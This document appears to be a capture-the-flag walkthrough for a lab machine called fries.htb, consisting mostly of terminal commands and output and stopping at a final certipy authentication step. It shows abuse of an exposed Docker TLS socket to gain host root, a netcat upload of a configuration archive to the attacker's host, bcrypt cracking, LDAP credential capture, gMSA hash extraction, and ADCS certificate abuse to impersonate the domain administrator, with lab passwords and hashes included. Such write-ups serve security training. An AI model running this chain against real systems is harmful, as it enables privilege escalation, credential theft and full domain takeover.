(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:51883           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:53801           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5050          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8443            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43041         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:222           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2376          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:49637           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:43441           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.18.0.1:3000         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:38133           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::39699                :::*                    LISTEN      -                   
tcp6       0      0 :::49967                :::*                    LISTEN      -                   
tcp6       0      0 :::8443                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::45087                :::*                    LISTEN      -                   
tcp6       0      0 :::2049                 :::*                    LISTEN      -                   
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::39219                :::*                    LISTEN      -                   
tcp6       0      0 :::38347                :::*                    LISTEN      -                   
svc@web:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

svc@web:~$ ps -ef |grep root
root           1       0  0 04:51 ?        00:00:05 /sbin/init
# [... cut ...]
root         915       1  0 04:52 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root         928       1  0 04:52 ?        00:00:11 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376
root         940       1  0 04:52 ?        00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root         978       1  0 04:52 ?        00:00:00 /usr/libexec/sssd/sssd_nss --logger=files --socket-activated
root        1037     701  0 04:52 ?        00:00:00 sshd: svc [priv]
root        1304       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id b916aad508e295f13cc6d9a1133358d0a295f4b056d16d6230371d3637010dbe -address /run/containerd/containerd.sock
root        1305       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f427ecaa3bdddcca33553c3a27f9e139013b55cc9b4aeeeefbad93669869ade6 -address /run/containerd/containerd.sock
root        1308       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 858fdf51af59c1a3024c715c736715b6044bd897807150e6334c96d81ab15854 -address /run/containerd/containerd.sock
root        1312       1  0 04:52 ?        00:00:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id bfe752a2669509ac0306304eb950b703f96849b05e26d209e53d9f6e04787b29 -address /run/containerd/containerd.sock
root        1392    1304  0 04:52 ?        00:00:00 /bin/s6-svscan /etc/s6
root        1394    1312  1 04:52 ?        00:01:03 /usr/local/bin/python3 run.py
root        1395    1305  0 04:52 ?        00:00:00 bash /app/startup.sh
root        1497     928  0 04:52 ?        00:00:02 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8443 -container-ip 172.18.0.6 -container-port 8443 -use-listen-fd
root        1504     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 8443 -container-ip 172.18.0.6 -container-port 8443 -use-listen-fd
root        1549     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 222 -container-ip 172.18.0.5 -container-port 22 -use-listen-fd
root        1553     928  0 04:52 ?        00:00:04 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.18.0.5 -container-port 3000 -use-listen-fd
root        1558     928  0 04:52 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 172.18.0.1 -host-port 3000 -container-ip 172.18.0.5 -container-port 3000 -use-listen-fd
root        1584    1395  2 04:52 ?        00:02:36 java -server -Xmx1g -Xms1g -Xlog:gc:file=/config/logs/gc.log:time,uptime,level,tags:filecount=10,filesize=10M -jar /app/libs/pwm-onejar-2.0.8.jar -applicationPath /config
root        1590     928  0 04:52 ?        00:00:26 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5000 -container-ip 172.18.0.2 -container-port 5000 -use-listen-fd
root        1596    1392  0 04:52 ?        00:00:00 s6-supervise gitea
root        1597    1392  0 04:52 ?        00:00:00 s6-supervise openssh
root        1599    1597  0 04:52 ?        00:00:00 sshd: /usr/sbin/sshd -D -e [listener] 0 of 10-100 startups
root        1714       2  0 04:52 ?        00:00:00 [kworker/R-tls-s]
root        1760       1  0 04:52 ?        00:00:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id cb46692a4590a41ead23e1b75e950dca1a67b65fe486d3fb87a4227548ed3f36 -address /run/containerd/containerd.sock
root        1815     928  0 04:52 ?        00:00:02 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5050 -container-ip 172.18.0.4 -container-port 80 -use-listen-fd
lxd         3116    1393  0 05:13 ?        00:00:00 postgres: root postgres 172.18.0.4(48736) idle
# [... cut ...]
svc        38565   38282  0 06:30 pts/2    00:00:00 grep --color=auto root
svc@web:~$ 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

❯ ssh svc@fries.htb -L 2376:127.0.0.1:2376 -fN
svc@fries.htb's password: 
❯ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:60239           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:45143         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2376          0.0.0.0:*               LISTEN      81138/ssh           
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 ::1:2376                :::*                    LISTEN      81138/ssh           
tcp6       0      0 :::34577                :::*                    LISTEN      -                   
❯

1
2
3
4
5
6
7
8
9

# Commands
openssl genrsa -out key.pem 4096
openssl req -subj '/CN=root' -new -key key.pem -out client.csr
openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem 
# Sign certificate
❯ openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem
Certificate request self-signature ok
subject=CN=root
❯ 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 version
Client:
 Version:           27.5.1+dfsg3
 API version:       1.47
 Go version:        go1.24.9
 Git commit:        cab968b3
 Built:             Thu Oct 30 01:09:57 2025
 OS/Arch:           linux/amd64
 Context:           default

Server:
 Engine:
  Version:          28.2.2
  API version:      1.50 (minimum version 1.24)
  Go version:       go1.23.1
  Git commit:       28.2.2-0ubuntu1~22.04.1
  Built:            Wed Sep 10 14:50:16 2025
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.7.28
  GitCommit:        
 runc:
  Version:          1.3.3-0ubuntu1~22.04.2
  GitCommit:        
 docker-init:
  Version:          0.19.0
  GitCommit:        
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 ps
CONTAINER ID   IMAGE                   COMMAND                  CREATED        STATUS       PORTS                                                                        NAMES
f427ecaa3bdd   pwm/pwm-webapp:latest   "/app/startup.sh"        5 months ago   Up 2 hours   0.0.0.0:8443->8443/tcp, :::8443->8443/tcp                                    pwm
cb46692a4590   dpage/pgadmin4:9.1.0    "/entrypoint.sh"         6 months ago   Up 2 hours   443/tcp, 127.0.0.1:5050->80/tcp                                              pgadmin4
bfe752a26695   fries-web               "/usr/local/bin/pyth…"   6 months ago   Up 2 hours   127.0.0.1:5000->5000/tcp                                                     web
858fdf51af59   postgres:16             "docker-entrypoint.s…"   6 months ago   Up 2 hours   5432/tcp                                                                     postgres
b916aad508e2   gitea/gitea:1.22.6      "/usr/bin/entrypoint…"   6 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 images
REPOSITORY       TAG       IMAGE ID       CREATED         SIZE
<none>           <none>    a35a9aa8056b   8 days ago      513MB
fries-web        latest    192168217481   6 months ago    151MB
postgres         16        616e340baeac   6 months ago    436MB
dpage/pgadmin4   9.1.0     b2e76a3c5433   9 months ago    513MB
pwm/pwm-webapp   latest    6b2bacb1343e   9 months ago    378MB
gitea/gitea      1.22.6    dfd595e2afd4   11 months ago   167MB
❯

1
2
3
4
5
6
7
8
9

❯ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=127.0.0.1:2376 run -v /:/mnt --rm -it fries-web chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
scripts  snap  user.txt
# cat user.txt
7a49c7f1514a7193ae47dc05cac6b17b
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

# pwd       
/root/scripts/pwm/config
# ls -lah
total 160K
drwxr-xr-x 6 root root 4.0K Nov 12 01:38 .
drwxr-xr-x 4 root root 4.0K Nov 12 01:28 ..
drwxr-xr-x 3 root root 4.0K Jun  1 02:03 LocalDB
-rw-r--r-- 1 root root 131K Nov 12 01:38 PwmConfiguration.xml
-rw-r--r-- 1 root root  149 Nov 28 04:54 applicationPath.lock
drwxr-xr-x 2 root root 4.0K Nov 12 01:37 backup
drwxr-xr-x 2 root root 4.0K Nov 28 04:52 logs
drwxr-xr-x 2 root root 4.0K Jun  1 02:03 temp
# cd ..
# tar -cvf pwm.tar pwm/   
pwm/
pwm/config/
pwm/config/PwmConfiguration.xml
pwm/config/applicationPath.lock
pwm/config/LocalDB/
pwm/config/LocalDB/xodus/
pwm/config/LocalDB/xodus/xd.lck
pwm/config/LocalDB/xodus/00000000g00.xd
pwm/config/LocalDB/xodus/README.TXT
pwm/config/LocalDB/xodus/00000000000.xd
pwm/config/LocalDB/xodus/00000000800.xd
pwm/config/LocalDB/xodus/xodus.open
pwm/config/logs/
pwm/config/logs/gc.log.4
pwm/config/logs/gc.log.2
pwm/config/logs/gc.log
pwm/config/logs/gc.log.9
pwm/config/logs/gc.log.8
pwm/config/logs/gc.log.7
pwm/config/logs/gc.log.1
pwm/config/logs/PWM.log
pwm/config/logs/gc.log.0
pwm/config/logs/gc.log.5
pwm/config/logs/gc.log.6
pwm/config/logs/gc.log.3
pwm/config/temp/
pwm/config/backup/
pwm/config/backup/PwmConfiguration.xml-backup
pwm/pwm-workpath/
# nc -w 3 10.10.15.134 1234 < pwm.tar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

❯ nc -lvp 1234 > pwm.tar
listening on [any] 1234 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49862
❯ tree .
.
├── config
│   ├── applicationPath.lock
│   ├── backup
│   │   └── PwmConfiguration.xml-backup
│   ├── LocalDB
│   │   └── xodus
│   │       ├── 00000000000.xd
│   │       ├── 00000000800.xd
│   │       ├── 00000000g00.xd
│   │       ├── README.TXT
│   │       ├── xd.lck
│   │       └── xodus.open
│   ├── logs
│   │   ├── gc.log
│   │   ├── gc.log.0
│   │   ├── gc.log.1
│   │   ├── gc.log.2
│   │   ├── gc.log.3
│   │   ├── gc.log.4
│   │   ├── gc.log.5
│   │   ├── gc.log.6
│   │   ├── gc.log.7
│   │   ├── gc.log.8
│   │   ├── gc.log.9
│   │   └── PWM.log
│   ├── PwmConfiguration.xml
│   └── temp
└── pwm-workpath

8 directories, 21 files
❯ 

1
2
3
4
5
6
7
8

# cat PwmConfiguration.xml 
<properties type="config">
   <property key="configIsEditable">true</property>
   <property key="configEpoch">0</property>
   <property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
</properties>
# cat PwmConfiguration.xml |grep User
<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

PS C:\Users\user\Documents\github\hashcat-7.1.2> ./hashcat.exe -m3200 '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' rockyou.txt
hashcat (v7.1.2) starting

# [... cut ...]

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0N...ZexGyG
Time.Started.....: Thu Nov 27 18:26:19 2025 (0 secs)
Time.Estimated...: Thu Nov 27 18:26:19 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:    35961 H/s (6.11ms) @ Accel:1 Loops:32 Thr:11 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 22440/14344385 (0.16%)
Rejected.........: 0/22440 (0.00%)
Restore.Point....: 22176/14344385 (0.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-16
Candidate.Engine.: Device Generator
Candidates.#01...: 061087 -> NATALIE
Hardware.Mon.#01.: Temp: 35c Fan:  0% Util:100% Core:2790MHz Mem:8251MHz Bus:8

Started: Thu Nov 27 18:26:13 2025
Stopped: Thu Nov 27 18:26:19 2025
PS C:\Users\user\Documents\github\hashcat-7.1.2>

1
2
3
4
5
6
7
8
9

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[LDAP] Cleartext Client   : 10.10.11.96
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb
[*] Skipping previously captured cleartext password for CN=svc_infra,CN=Users,DC=fries,DC=htb

1
2
3
4
5
6
7

❯ netexec ldap fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
❯ netexec smb fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
SMB         10.10.11.96     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.10.11.96     445    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
❯

1
2
3
4
5
6
7

❯ nxc ldap fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --bloodhound --collection All --dns-server 10.10.11.96
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
LDAP        10.10.11.96     389    DC01             Resolved collection methods: localadmin, rdp, trusts, container, objectprops, dcom, acl, group, psremote, session
LDAP        10.10.11.96     389    DC01             Done in 0M 18S
LDAP        10.10.11.96     389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.96_2025-11-27_185040_bloodhound.zip
❯

1
2
3
4

❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > adusers.txt
❯ wc -l adusers.txt
18 adusers.txt
❯

1
2
3
4
5
6

❯ nxc ldap fries.htb -u svc_infra -p m6tneOMAh5p0wQ0d --gmsa
LDAP        10.10.11.96     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96     389    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d 
LDAP        10.10.11.96     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.96     389    DC01             Account: gMSA_CA_prod$        NTLM: fc20b3d3ec179c5339ca59fbefc18f4a     PrincipalsAllowedToReadPassword: svc_infra
❯

1
2
3
4
5

❯ faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" impacket-getTGT -dc-ip 10.10.11.96 fries.htb/gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in gMSA_CA_prod$.ccache
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

❯ KRB5CCNAME=gMSA_CA_prod$.ccache faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC01.FRIES.HTB -r fries.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> whoami
fries\gmsa_ca_prod$
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe enum-templates --current-user --filter-vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=fries,DC=htb'
[*] Classifying vulnerabilities in the context of the current user ('FRIES\gMSA_CA_prod$') and its unrolled groups.
[X] AuthWithoutChannelBinding: did not receive an NTLM message in HTTP response.
[X] AuthWithoutChannelBinding: did not receive an NTLM message in HTTP response.

[*] Listing info about the enterprise certificate authority 'fries-DC01-CA'

    Enterprise CA Name            : fries-DC01-CA
    DNS Hostname                  : DC01.fries.htb
    FullName                      : DC01.fries.htb\fries-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=fries-DC01-CA, DC=fries, DC=htb
    Cert Thumbprint               : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
    Cert Serial                   : 26117C1FFA5705AF443B7E82E8C639A9
    Cert Start Date               : 11/17/2025 9:39:18 PM
    Cert End Date                 : 5/19/3024 7:11:46 AM
    Cert Chain                    : CN=fries-DC01-CA,DC=fries,DC=htb
    User Specifies SAN            : Disabled
    RPC Request Encryption        : Enabled
    Vulnerabilities
      ESC7                        : The CA has insecure delegated security roles or permissions.
    CA Permissions
      Owner: BUILTIN\Administrators             S-1-5-32-544

      Access Rights                                     Principal
      Deny   ManageCertificates                         FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Deny   ManageCertificates                         FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Deny   ManageCertificates                         FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
      Allow  Enroll                                     NT AUTHORITY\Authenticated Users   S-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators             S-1-5-32-544
      Allow  ManageCA, ManageCertificates               FRIES\Domain Admins                S-1-5-21-858338346-3861030516-3975240472-512
      Allow  Enroll                                     FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Allow  Enroll                                     FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Allow  ManageCA, ManageCertificates               FRIES\Enterprise Admins            S-1-5-21-858338346-3861030516-3975240472-519
      Allow  ManageCA, Enroll                           FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
    Enrollment Agent Restrictions : None

[+] No certificates templates found with the current filter parameters.

Certify completed in 00:00:28.2933985
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe manage-ca --ca DC01.fries.htb\fries-DC01-CA --esc6 --esc16

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Manage a certificate authority

[*] Attempting to toggle EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6) on the CA.
[*] The EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set, toggling it on.
[*] Successfully set the EditFlags configuration on the CA.

[*] Attempting to toggle szOID_NTDS_CA_SECURITY_EXT in the DisableExtensionList attribute (ESC16) on the CA.
[*] The szOID_NTDS_CA_SECURITY_EXT extension does not exist in DisableExtensionList, adding it.
[*] Successfully set the DisableExtensionList configuration on the CA.

[*] Attempting to restart the CA service.
[*] Successfully stopped the CA service.
[*] Successfully restarted the CA service.

Certify completed in 00:00:00.5589769
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> ./Certify2.0.exe enum-templates --current-user --filter-vulnerable
# [... cut ...]

[*] Listing info about the enterprise certificate authority 'fries-DC01-CA'

    Enterprise CA Name            : fries-DC01-CA
    DNS Hostname                  : DC01.fries.htb
    FullName                      : DC01.fries.htb\fries-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=fries-DC01-CA, DC=fries, DC=htb
    Cert Thumbprint               : 0FDE266E3D674B5B37542D3E38699FFE2C93A662
    Cert Serial                   : 26117C1FFA5705AF443B7E82E8C639A9
    Cert Start Date               : 11/17/2025 9:39:18 PM
    Cert End Date                 : 5/19/3024 7:11:46 AM
    Cert Chain                    : CN=fries-DC01-CA,DC=fries,DC=htb
    User Specifies SAN            : Enabled
    RPC Request Encryption        : Enabled
    Disabled Extensions           : <unknown> (1.3.6.1.4.1.311.25.2)
    Vulnerabilities
      ESC6                        : The CA allows enrollees to specify SANs.
      ESC7                        : The CA has insecure delegated security roles or permissions.
      ESC16                       : The CA has disabled the security extension.
    CA Permissions
      Owner: BUILTIN\Administrators             S-1-5-32-544

      Access Rights                                     Principal
      Deny   ManageCertificates                         FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Deny   ManageCertificates                         FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Deny   ManageCertificates                         FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
      Allow  Enroll                                     NT AUTHORITY\Authenticated Users   S-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators             S-1-5-32-544
      Allow  ManageCA, ManageCertificates               FRIES\Domain Admins                S-1-5-21-858338346-3861030516-3975240472-512
      Allow  Enroll                                     FRIES\Domain Users                 S-1-5-21-858338346-3861030516-3975240472-513
      Allow  Enroll                                     FRIES\Domain Computers             S-1-5-21-858338346-3861030516-3975240472-515
      Allow  ManageCA, ManageCertificates               FRIES\Enterprise Admins            S-1-5-21-858338346-3861030516-3975240472-519
      Allow  ManageCA, Enroll                           FRIES\gMSA_CA_prod$                S-1-5-21-858338346-3861030516-3975240472-1104
    Enrollment Agent Restrictions : None

[+] No certificates templates found with the current filter parameters.

Certify completed in 00:00:27.6657352
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

1
2
3
4
5

❯ certipy-ad ca -ca 'fries-DC01-CA' -enable-template User -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'User' on 'fries-DC01-CA'
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Get-ADUser -Identity Administrator


DistinguishedName : CN=Administrator,CN=Users,DC=fries,DC=htb
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : fabf5fff-cdc8-49ff-826d-058a95c736a5
SamAccountName    : Administrator
SID               : S-1-5-21-858338346-3861030516-3975240472-500
Surname           :
UserPrincipalName :



*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

1
2
3
4
5
6
7
8
9

❯ certipy-ad req -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -target dc01.fries.htb -template User -upn administrator@fries.htb -sid S-1-5-21-858338346-3861030516-3975240472-500 -dc-ip 10.10.11.96 -ns 10.10.11.96
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 50
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): 
[-] Failed to request certificate
❯

1
2
3
4
5

❯ certipy-ad ca -ca 'fries-DC01-CA' -add-officer svc_infra -u gMSA_CA_prod$ -hashes :fc20b3d3ec179c5339ca59fbefc18f4a -dc-ip dc01.fries.htb -ns 10.10.11.96 -target fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

❯ certipy-ad req -u svc_infra -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -target dc01.fries.htb -template User -upn administrator@fries.htb -sid S-1-5-21-858338346-3861030516-3975240472-500 -dc-ip 10.10.11.96 -ns 10.10.11.96
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 54
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

❯ faketime "$(ntpdate -q fries.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.96
